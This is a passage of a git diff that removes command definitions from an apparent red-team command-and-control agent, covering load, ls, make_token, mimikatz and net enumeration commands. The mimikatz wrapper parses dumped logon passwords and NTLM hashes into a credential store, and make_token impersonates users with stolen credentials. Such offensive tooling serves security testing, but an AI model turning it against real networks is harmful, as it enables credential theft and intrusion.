PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: - fileResponse = PTRPCDynamicQueryFunctionMessageResponse(Success=False) - all_cmds = await SendMythicRPCCommandSearch(MythicRPCCommandSearchMessage( - SearchPayloadTypeName="apollo" - )) - loaded_cmds = await SendMythicRPCCallbackSearchCommand(MythicRPCCallbackSearchCommandMessage( - CallbackID=inputMsg.Callback - )) - - if not all_cmds.Success: - raise Exception("Failed to get commands for apollo agent: {}".format(all_cmds.Error)) - if not loaded_cmds.Success: - raise Exception("Failed to fetch loaded commands from callback {}: {}".format(inputMsg.Callback, loaded_cmds.Error)) - - all_cmds_names = set([r.Name for r in all_cmds.Commands]) - loaded_cmds_names = set([r.Name for r in loaded_cmds.Commands]) - logger.info(f"all possible commands: {all_cmds_names}") - logger.info(f"all loaded commands: {loaded_cmds_names}") - diff = all_cmds_names.difference(loaded_cmds_names) - fileResponse.Success = True - fileResponse.Choices = sorted(diff) - logger.info(f"Possible commands for load: {fileResponse.Choices}") - return fileResponse - - - async def parse_arguments(self): - if self.command_line[0] == "{": - tmpjson = json.loads(self.command_line) - if tmpjson.get("Commands") is not None and type(tmpjson.get("Commands")) is not list: - cmds = tmpjson.get("Commands").split(" ") - tmpjson["Commands"] = cmds - self.load_args_from_json_string(json.dumps(tmpjson)) - else: - self.load_args_from_json_string(self.command_line) - else: - raise Exception("No command line parsing available.") - - -class LoadCommand(CommandBase): - cmd = "load" - needs_admin = False - help_cmd = "load [cmd1] [cmd2] [...]" - description = 'Load one or more new commands into the agent.' - version = 2 - author = "@djhohnstein" - argument_class = LoadArguments - attributes = CommandAttributes( - suggested_command=True - ) - attackmapping = [] - - async def update_output(self, taskData: PTTaskMessageAllData, output: str): - addoutput_resp = await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( - TaskID=taskData.Task.ID, - Response=output.encode() - )) - if not addoutput_resp.Success: - raise Exception("Failed to add output to task") - - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - requested_cmds = await SendMythicRPCCommandSearch(MythicRPCCommandSearchMessage( - SearchPayloadTypeName="apollo", - SearchCommandNames=taskData.args.get_arg("commands"), - )) - loaded_cmds = await SendMythicRPCCallbackSearchCommand(MythicRPCCallbackSearchCommandMessage( - CallbackID=taskData.Callback.ID, - )) - - requested_cmds_names = set([r.Name for r in requested_cmds.Commands]) - alias_commands = [r.Name for r in requested_cmds.Commands if r.Attributes.get("alias", False)] - - loaded_cmds_names = set([r.Name for r in loaded_cmds.Commands]) - diff = requested_cmds_names.difference(loaded_cmds_names) - - load_immediately_rpc = [] - to_compile = [] - - # This is now the list of commands that need to be loaded - requested_cmds = [r for r in requested_cmds.Commands if r.Name in diff] - for requested_cmd in requested_cmds: - dependencies = requested_cmd.Attributes.get("dependencies", []) - script_only = requested_cmd.ScriptOnly - if len(dependencies) == 0 and (script_only or requested_cmd.Name in alias_commands): - load_immediately_rpc.append(requested_cmd.Name) - elif len(dependencies) > 0 and (script_only or requested_cmd.Name in alias_commands): - dep_not_loaded = [x for x in dependencies if x not in loaded_cmds_names] - if len(dep_not_loaded) > 0: - to_compile += dep_not_loaded - load_immediately_rpc.append(requested_cmd.Name) - elif len(dependencies) == 0 and not script_only and requested_cmd.Name not in alias_commands: - to_compile.append(requested_cmd.Name) - elif len(dependencies) > 0 and not script_only and requested_cmd.Name not in alias_commands: - dep_not_loaded = [x for x in dependencies if x not in loaded_cmds_names] - if len(dep_not_loaded) > 0: - to_compile += dep_not_loaded - to_compile.append(requested_cmd.Name) - else: - raise Exception("Unreachable code path.") - - to_compile = set(to_compile) - - load_immediately_rpc = set(load_immediately_rpc) - - if len(load_immediately_rpc) > 0: - reg_resp = await SendMythicRPCCallbackAddCommand(MythicRPCCallbackAddCommandMessage( - TaskID=taskData.Task.ID, - Commands=list(load_immediately_rpc), - )) - if not reg_resp.Success: - raise Exception("Failed to register {} commands: {}".format(load_immediately_rpc, reg_resp.Error)) - - if len(to_compile) == 0: - if len(load_immediately_rpc) > 0: - await self.update_output(taskData, "Automatically loaded {}\n".format(", ".join(list(load_immediately_rpc)))) - else: - await self.update_output(taskData, "All commands already loaded") - response.TaskStatus = MythicStatus.Completed - response.DisplayParams = ', '.join(taskData.args.get_arg("commands")) - response.Completed = True - return response - else: - if len(load_immediately_rpc) > 0: - await self.update_output(taskData, "Automatically loaded {}\n".format(", ".join(list(load_immediately_rpc)))) - await self.update_output(taskData, "Compiling {}\n".format(", ".join(list(to_compile)))) - defines_commands_upper = [f"#define {x.upper()}" for x in to_compile] - agent_build_path = tempfile.TemporaryDirectory() - # shutil to copy payload files over - copy_tree(str(self.agent_code_path), agent_build_path.name) - results = [] - for root, dirs, files in os.walk("{}/Tasks".format(agent_build_path.name)): - for file in files: - if file.endswith(".cs"): - results.append(os.path.join(root, file)) - - if len(results) == 0: - raise ValueError("No .cs files found in task library") - for csFile in results: - templateFile = open(csFile, "rb").read().decode() - templateFile = templateFile.replace("#define COMMAND_NAME_UPPER", "\n".join(defines_commands_upper)) - if csFile.endswith(".cs"): - with open(csFile, "a") as f: - f.write("\n") - f.write("\n".join(defines_commands_upper)) - with open(csFile, "wb") as f: - f.write(templateFile.encode()) - - outputPath = "{}/Tasks/bin/Release/Tasks.dll".format(agent_build_path.name) - shell_cmd = "dotnet build -c release -p:DebugType=None -p:DebugSymbols=false -p:Platform=x64 {}/Tasks/Tasks.csproj -o {}/Tasks/bin/Release/".format(agent_build_path.name, agent_build_path.name) - proc = await asyncio.create_subprocess_shell(shell_cmd, stdout=asyncio.subprocess.PIPE, - stderr=asyncio.subprocess.PIPE, cwd=agent_build_path.name) - stdout, stderr = await proc.communicate() - if os.path.exists(outputPath): - dllBytes = open(outputPath, "rb").read() - file_resp = await SendMythicRPCFileCreate(MythicRPCFileCreateMessage( - TaskID=taskData.Task.ID, - FileContents=dllBytes, - DeleteAfterFetch=True - )) - if file_resp.Success: - taskData.args.add_arg("file_id", file_resp.AgentFileId) - taskData.args.remove_arg("commands") - taskData.args.add_arg("commands", list(to_compile), ParameterType.ChooseMultiple) - else: - raise Exception("Failed to register task dll with Mythic") - else: - raise Exception("Failed to build task dll. Stdout/Stderr:\n{}\n\n{}".format(stdout, stderr)) - await self.update_output(taskData, "Compiled {}\n".format(", ".join(list(to_compile)))) - all_task_cmds = [x for x in to_compile.union(load_immediately_rpc)] - response.DisplayParams = f"{' '.join(all_task_cmds)}" - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - result = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - resp = response["commands"] - reg_resp = await SendMythicRPCCallbackAddCommand(MythicRPCCallbackAddCommandMessage( - TaskID=task.Task.ID, - Commands=resp - )) - if not reg_resp.Success: - raise Exception("Failed to register commands ({}) from response: {}".format(resp, reg_resp.Error)) - - all_cmds = await SendMythicRPCCommandSearch(MythicRPCCommandSearchMessage( - SearchPayloadTypeName="apollo", - SearchCommandNames=task.args.get_arg("commands"), - )) - loaded_cmds = await SendMythicRPCCallbackSearchCommand(MythicRPCCallbackSearchCommandMessage( - TaskID=task.Task.CallbackID, - CallbackID=task.Task.ID - )) - all_cmds_dict = {x.Name: x for x in all_cmds.Commands} - loaded_cmd_names = [x.Name for x in loaded_cmds.Commands] - - diff_cmds_dict = {k: v for k, v in all_cmds_dict.items() if k not in loaded_cmd_names} - - to_add = [] - - if len(diff_cmds_dict.keys()) > 0: - for cmd_name, cmd in diff_cmds_dict.items(): - dependencies = cmd.Attributes.get("dependencies", []) - if len(dependencies) > 0: - found_deps = 0 - for d in dependencies: - if d in loaded_cmd_names: - found_deps += 1 - if found_deps == len(dependencies): - to_add.append(cmd_name) - break - if len(to_add) > 0: - reg_resp = await SendMythicRPCCallbackAddCommand(MythicRPCCallbackAddCommandMessage( - TaskID=task.Task.ID, - Commands=to_add - )) - if not reg_resp.Success: - raise Exception("Failed to register commands ({}) from response: {}".format(to_add, reg_resp.Error)) - - newly_loaded_cmds = set(resp).union(set(to_add)) - await self.update_output(task, "Loaded {}\n".format(", ".join(newly_loaded_cmds))) - return result diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/ls.py b/Payload_Type/apollo/apollo/mythic/agent_functions/ls.py deleted file mode 100644 index 86415b44..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/ls.py +++ /dev/null @@ -1,113 +0,0 @@ -from mythic_container.MythicCommandBase import * -import re -import string - - -class LsArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="path", - cli_name="path", - display_name="Path to list files from.", - type=ParameterType.String, - description="Path to list files from.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, group_name="Default", ui_position=1 - ), - ], - ), - ] - - async def parse_dictionary(self, dictionary_arguments): - logger.info(dictionary_arguments) - logger.info(self.tasking_location) - self.load_args_from_dictionary(dictionary_arguments) - if "host" in dictionary_arguments: - if "full_path" in dictionary_arguments: - if dictionary_arguments["full_path"].startswith("\\\\"): - self.add_arg("host", "") - else: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["full_path"]}') - elif "path" in dictionary_arguments: - if dictionary_arguments["path"].startswith("\\\\"): - self.add_arg("host", "") - else: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["path"]}') - elif "file" in dictionary_arguments: - self.add_arg("path", f'\\\\{dictionary_arguments["host"]}\\{dictionary_arguments["file"]}') - else: - logger.info("unknown dictionary args") - else: - if "path" not in dictionary_arguments or dictionary_arguments["path"] is None: - self.add_arg("path", f'.') - - async def parse_arguments(self): - # Check if named parameters were defined - cli_names = [arg.cli_name for arg in self.args if arg.cli_name is not None] - if ( - any([self.raw_command_line.startswith(f"-{cli_name} ") for cli_name in cli_names]) - or any([f" -{cli_name} " in self.raw_command_line for cli_name in cli_names]) - ): - args = json.loads(self.command_line) - # Freeform unmatched arguments - else: - args = {"path": "."} - if len(self.raw_command_line) > 0: - args["path"] = self.raw_command_line - self.load_args_from_dictionary(args) - - -class LsCommand(CommandBase): - cmd = "ls" - needs_admin = False - help_cmd = "ls [path]" - description = "List files and folders in a specified directory (defaults to your current working directory.)" - version = 3 - supported_ui_features = ["file_browser:list"] - author = "@djhohnstein" - argument_class = LsArguments - attackmapping = ["T1106", "T1083"] - browser_script = BrowserScript( - script_name="ls_new", author="@djhohnstein", for_new_ui=True - ) - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - - path = taskData.args.get_arg("path") - response.DisplayParams = path - - if uncmatch := re.match( - r"^\\\\(?P[^\\]+)\\(?P.*)$", - path, - ): - taskData.args.add_arg("host", uncmatch.group("host")) - taskData.args.set_arg("path", uncmatch.group("path")) - else: - # Set the host argument to an empty string if it does not exist - taskData.args.add_arg("host", "") - if host := taskData.args.get_arg("host"): - host = host.upper() - - # Resolve 'localhost' and '127.0.0.1' aliases - if host == "127.0.0.1" or host.lower() == "localhost": - host = taskData.Callback.Host - - taskData.args.set_arg("host", host) - - return response - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py b/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py deleted file mode 100644 index 4c93cca6..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/make_token.py +++ /dev/null @@ -1,106 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class MakeTokenArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="credential", - cli_name="Credential", - display_name="Credential", - type=ParameterType.Credential_JSON, - limit_credentials_by_type=["plaintext"], - parameter_group_info=[ParameterGroupInfo( - group_name="credential_store", - required=True, - ui_position=1 - )] - ), - CommandParameter( - name="username", - cli_name="username", - display_name="Username", - type=ParameterType.String, - parameter_group_info=[ParameterGroupInfo( - required=True, - ui_position=1 - )] - ), - CommandParameter( - name="password", - cli_name="password", - display_name="Password", - type=ParameterType.String, - parameter_group_info=[ParameterGroupInfo( - required=False, - ui_position=2 - )] - ), - CommandParameter( - name="netOnly", - cli_name="netOnly", - display_name="NetOnly Logon", - description="NetOnly logons use the LOGON32_LOGON_NEW_CREDENTIALS API, otherwise LOGON32_LOGON_INTERACTIVE is used. NetOnly logons do not use make_token credentials locally, only remotely. Using Interactive logons means that the credentials are used locally as well.", - default_value=True, - type=ParameterType.Boolean, - parameter_group_info=[ - ParameterGroupInfo( - group_name="credential_store", - required=False, - ui_position=2 - ), - ParameterGroupInfo( - ui_position=3, - required=False, - ) - ] - ) - ] - - async def parse_arguments(self): - self.load_args_from_json_string(self.command_line) - - -class MakeTokenCommand(CommandBase): - cmd = "make_token" - needs_admin = False - help_cmd = "make_token -username domain\\user -password abc123" - description = "Creates a new logon session and applies it to the agent. Modal popup for options and selecting an existing credential." - version = 2 - author = "@djhohnstein" - argument_class = MakeTokenArguments - attackmapping = ["T1134"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - if taskData.args.get_parameter_group_name() == "credential_store": - cred = taskData.args.get_arg("credential") - response.DisplayParams = "{}\\{} {}".format(cred.get("realm"), cred.get("account"), cred.get("credential")) - else: - username = taskData.args.get_arg("username") - password = taskData.args.get_arg("password") - taskData.args.remove_arg("username") - taskData.args.remove_arg("password") - usernamePieces = username.split("\\") - if len(usernamePieces) != 2: - usernamePieces = [taskData.Callback.Host, usernamePieces[0]] - cred = { - "type": "plaintext", - "realm": usernamePieces[0], - "credential": password if password is not None else "", - "account": usernamePieces[1] - } - taskData.args.add_arg("credential", cred, type=ParameterType.Credential_JSON) - response.DisplayParams = "{}\\{} {} ({})".format(cred.get("realm"), cred.get("account"), cred.get("credential"), - "netOnly" if taskData.args.get_arg("netOnly") else "interactive") - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py b/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py deleted file mode 100644 index 807fc8bd..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/mimikatz.py +++ /dev/null @@ -1,173 +0,0 @@ -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import json -import mslex -from .execute_pe import * - - -class MimikatzArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="commands", - cli_name="Commands", - display_name="Command(s)", - type=ParameterType.Array, - description="Mimikatz commands (can be one or more). Each array entry is one command to run", - parameter_group_info=[ParameterGroupInfo(ui_position=1, required=True)], - ), - ] - - async def parse_arguments(self): - if self.tasking_location == "modal" or ( - self.raw_command_line.startswith("{") - and self.raw_command_line.endswith("}") - ) or ( - "-Commands " in self.raw_command_line - ): - commands = dict(json.loads(self.command_line)) - commandlist = commands.get("Commands") or commands["commands"] - self.add_arg("commandline", mslex.join(commandlist, for_cmd = False)) - else: - self.add_arg("commandline", self.raw_command_line) - - self.remove_arg("commands") - - -async def parse_credentials(task: PTTaskCompletionFunctionMessage,) -> PTTaskCompletionFunctionMessageResponse: - response = PTTaskCompletionFunctionMessageResponse( - Success=True, TaskStatus="success", Completed=True - ) - responses = await SendMythicRPCResponseSearch( - MythicRPCResponseSearchMessage(TaskID=task.TaskData.Task.ID) - ) - #logger.info(responses.Responses) - for output in responses.Responses: - mimikatz_out = str(output.Response) - comment = "task {}".format(output.TaskID) - if mimikatz_out != "": - lines = mimikatz_out.split("\r\n") - - for i in range(len(lines)): - line = lines[i] - if "SAM Username" in line: - if i + 6 > len(lines): - continue - usernamePieces = line.split(":") - username = usernamePieces[1].strip() - if "Hash NTLM" in lines[i+6]: - pieces = lines[i+6].split(":") - if len(pieces) > 1: - hash = pieces[1].strip() - cred_resp = await SendMythicRPCCredentialCreate( - MythicRPCCredentialCreateMessage( - TaskID=task.TaskData.Task.ID, - Credentials=[ - MythicRPCCredentialData( - credential_type="hash", - account=username, - realm="", - credential=hash, - comment="Hash NTLM From Mimikatz", - ) - ], - ) - ) - continue - if "* Username" in line: - # Check to see if Password is null - if i + 2 >= len(lines): - break - uname = line.split(" : ")[1].strip() - realm = lines[i + 1].split(" : ")[1].strip() - passwd = lines[i + 2].split(" : ")[1].strip() - passwdType = lines[i+2].split(" : ")[0].strip() - if passwdType == "* NTLM" and passwd != "": - cred_resp = await SendMythicRPCCredentialCreate( - MythicRPCCredentialCreateMessage( - TaskID=task.TaskData.Task.ID, - Credentials=[ - MythicRPCCredentialData( - credential_type="hash", - account=uname, - realm=realm, - credential=passwd, - comment=comment, - ) - ], - ) - ) - elif passwdType == "* Password" and passwd != "" and passwd != "(null)": - cred_resp = await SendMythicRPCCredentialCreate( - MythicRPCCredentialCreateMessage( - TaskID=task.TaskData.Task.ID, - Credentials=[ - MythicRPCCredentialData( - credential_type="plaintext", - account=uname, - realm=realm, - credential=passwd, - comment=comment, - ) - ], - ) - ) - return response - - -class MimikatzCommand(CommandBase): - cmd = "mimikatz" - attributes = CommandAttributes(dependencies=["execute_pe"], alias=True) - needs_admin = False - help_cmd = "mimikatz [command1] [command2] [...]" - description = "Execute one or more mimikatz commands (e.g. `mimikatz coffee sekurlsa::logonpasswords`)." - version = 3 - author = "@djhohnstein" - argument_class = MimikatzArguments - attackmapping = [ - "T1134", - "T1098", - "T1547", - "T1555", - "T1003", - "T1207", - "T1558", - "T1552", - "T1550", - ] - script_only = False - completion_functions = {"parse_credentials": parse_credentials} - - async def create_go_tasking( - self, taskData: PTTaskMessageAllData - ) -> PTTaskCreateTaskingMessageResponse: - commandline = taskData.args.get_arg("commandline") - # we're going to call execute_pe, so prep args, parse them, and generate the command - executePEArgs = ExecutePEArguments(command_line=json.dumps( - { - "pe_name": "mimikatz.exe", - "pe_arguments": commandline, - } - )) - await executePEArgs.parse_arguments() - executePECommand = ExecutePECommand(agent_path=self.agent_code_path, - agent_code_path=self.agent_code_path, - agent_browserscript_path=self.agent_browserscript_path) - # set our taskData args to be the new ones for execute_pe - taskData.args = executePEArgs - # executePE's creat_go_tasking function returns a response for us - newResp = await executePECommand.create_go_tasking(taskData=taskData) - # update the response to make sure this gets pulled down as execute_pe instead of mimikatz - newResp.CommandName = "execute_pe" - newResp.DisplayParams = commandline - if "lsadump::dcsync" in commandline or "sekurlsa::logonpasswords" in commandline: - newResp.CompletionFunctionName = "parse_credentials" - return newResp - - async def process_response( - self, task: PTTaskMessageAllData, response: any - ) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/mkdir.py b/Payload_Type/apollo/apollo/mythic/agent_functions/mkdir.py deleted file mode 100644 index b0702012..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/mkdir.py +++ /dev/null @@ -1,54 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class MkdirArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="path", - cli_name="Path", - display_name="Path", - type=ParameterType.String, - description="Directory to create."), - ] - - async def parse_arguments(self): - if len(self.command_line) == 0: - raise Exception("No path given.\n\tUsage: {}".format(MkdirCommand.help_cmd)) - if self.command_line[0] == '"' and self.command_line[-1] == '"': - self.command_line = self.command_line[1:-1] - elif self.command_line[0] == "'" and self.command_line[-1] == "'": - self.command_line = self.command_line[1:-1] - - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("path", self.command_line) - - pass - - -class MkdirCommand(CommandBase): - cmd = "mkdir" - needs_admin = False - help_cmd = "mkdir [path]" - description = "Make a directory specified by [path]" - version = 2 - author = "@djhohnstein" - argument_class = MkdirArguments - attackmapping = ["T1106"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = "-Path {}".format(taskData.args.get_arg("path")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/mv.py b/Payload_Type/apollo/apollo/mythic/agent_functions/mv.py deleted file mode 100644 index 288bd06a..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/mv.py +++ /dev/null @@ -1,82 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class MvArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="source", - cli_name = "Path", - display_name = "Source File", - type=ParameterType.String, - description='Source file to copy.'), - CommandParameter( - name="destination", - cli_name="Destination", - display_name="Destination Path", - type=ParameterType.String, - description="Where the new file will be created.") - ] - - def split_commandline(self): - if self.command_line[0] == "{": - raise Exception("split_commandline expected string, but got JSON object: " + self.command_line) - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if (not inQuotes and c == ' '): - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - - if curCommand != "": - cmds.append(curCommand) - - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - - return cmds - - errorMsg = "Missing required argument: {}" - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - cmds = self.split_commandline() - if len(cmds) != 2: - raise Exception("Expected two arguments to mv, but got: {}\n\tUsage: {}".format(cmds, MvCommand.help_cmd)) - self.add_arg("source", cmds[0]) - self.add_arg("destination", cmds[1]) - -class MvCommand(CommandBase): - cmd = "mv" - needs_admin = False - help_cmd = "mv [source] [dest]" - description = "Move a file from source to destination." - version = 2 - author = "@djhohnstein" - argument_class = MvArguments - attackmapping = ["T1106"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - response.DisplayParams = "-Path {} -Destination {}".format(taskData.args.get_arg("source"), taskData.args.get_arg("destination")) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/net_dclist.py b/Payload_Type/apollo/apollo/mythic/agent_functions/net_dclist.py deleted file mode 100644 index a73f41b1..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/net_dclist.py +++ /dev/null @@ -1,35 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class NetDCListArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - pass - - -class NetDCListCommand(CommandBase): - cmd = "net_dclist" - needs_admin = False - help_cmd = "net_dclist [domain]" - description = "Get domain controllers belonging to [domain]. Defaults to current domain." - version = 2 - author = "@djhohnstein" - argument_class = NetDCListArguments - attackmapping = ["T1590"] - browser_script = BrowserScript(script_name="net_dclist", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/net_localgroup.py b/Payload_Type/apollo/apollo/mythic/agent_functions/net_localgroup.py deleted file mode 100644 index d3267398..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/net_localgroup.py +++ /dev/null @@ -1,35 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class NetLocalGroupArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [] - - async def parse_arguments(self): - pass - - -class NetLocalGroupCommand(CommandBase): - cmd = "net_localgroup" - needs_admin = False - help_cmd = "net_localgroup [computer]" - description = "Get local groups of [computer]. Defaults to localhost." - version = 2 - author = "@djhohnstein" - argument_class = NetLocalGroupArguments - attackmapping = ["T1590", "T1069"] - browser_script = BrowserScript(script_name="net_localgroup_new", author="@djhohnstein", for_new_ui=True) - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/net_localgroup_member.py b/Payload_Type/apollo/apollo/mythic/agent_functions/net_localgroup_member.py deleted file mode 100644 index f5e0de64..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/net_localgroup_member.py +++ /dev/null @@ -1,93 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class NetLocalgroupMemberArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="computer", - cli_name="Computer", - display_name="Computer", - type=ParameterType.String, - description="Computer to enumerate.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ), - ]), - CommandParameter( - name="group", - cli_name="Group", - display_name="Group", - type=ParameterType.String, - description="Group to enumerate.") - ] - - def split_commandline(self): - if self.command_line[0] == "{": - raise Exception("split_commandline expected string, but got JSON object: " + self.command_line) - inQuotes = False - curCommand = "" - cmds = [] - for x in range(len(self.command_line)): - c = self.command_line[x] - if c == '"' or c == "'": - inQuotes = not inQuotes - if (not inQuotes and c == ' '): - cmds.append(curCommand) - curCommand = "" - else: - curCommand += c - if curCommand != "": - cmds.append(curCommand) - for x in range(len(cmds)): - if cmds[x][0] == '"' and cmds[x][-1] == '"': - cmds[x] = cmds[x][1:-1] - elif cmds[x][0] == "'" and cmds[x][-1] == "'": - cmds[x] = cmds[x][1:-1] - return cmds - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - cmds = self.split_commandline() - if len(cmds) == 1: - self.add_arg("group", cmds[0]) - elif len(cmds) == 2: - self.add_arg("computer", cmds[0]) - self.add_arg("group", cmds[1]) - else: - raise Exception("Expected one or two arguments, but got: {}\n\tUsage: {}".format(cmds, NetLocalgroupMemberCommand.help_cmd)) - -class NetLocalgroupMemberCommand(CommandBase): - cmd = "net_localgroup_member" - needs_admin = False - help_cmd = "net_localgroup_member [computer] [group]" - description = "Retrieve local group membership of the group specified by [group]. If [computer] is omitted, defaults to localhost." - version = 2 - author = "@djhohnstein" - argument_class = NetLocalgroupMemberArguments - attackmapping = ["T1590", "T1069"] - browser_script = BrowserScript(script_name="net_localgroup_member_new", author="@djhohnstein", for_new_ui=True) - supported_ui_features = ["net_localgroup_member"] - - async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: - response = PTTaskCreateTaskingMessageResponse( - TaskID=taskData.Task.ID, - Success=True, - ) - computer = taskData.args.get_arg("computer") - group = taskData.args.get_arg("group") - if computer: - response.DisplayParams = "-Computer {} -Group {}".format(computer, group) - else: - response.DisplayParams = "-Group {}".format(group) - return response - - async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: - resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) - return resp \ No newline at end of file diff --git a/Payload_Type/apollo/apollo/mythic/agent_functions/net_shares.py b/Payload_Type/apollo/apollo/mythic/agent_functions/net_shares.py deleted file mode 100644 index 85b3b537..00000000 --- a/Payload_Type/apollo/apollo/mythic/agent_functions/net_shares.py +++ /dev/null @@ -1,51 +0,0 @@ -from mythic_container.MythicCommandBase import * -import json - - -class NetSharesArguments(TaskArguments): - - def __init__(self, command_line, **kwargs): - super().__init__(command_line, **kwargs) - self.args = [ - CommandParameter( - name="computer", - cli_name="Computer", - display_name="Computer", - type=ParameterType.String, - description="Computer to enumerate.", - parameter_group_info=[ - ParameterGroupInfo( - required=False, - ) - ]), - ] - - async def parse_arguments(self): - if self.command_line[0] == "{": - self.load_args_from_json_string(self.command_line) - else: - self.add_arg("computer", self.command_line.strip()) - pass - -class NetSharesCommand(CommandBase): - cmd = "net_shares" - needs_admin = False - help_cmd = "net_shares [computer]" - description = "List remote shares and their accessibility of [computer]" 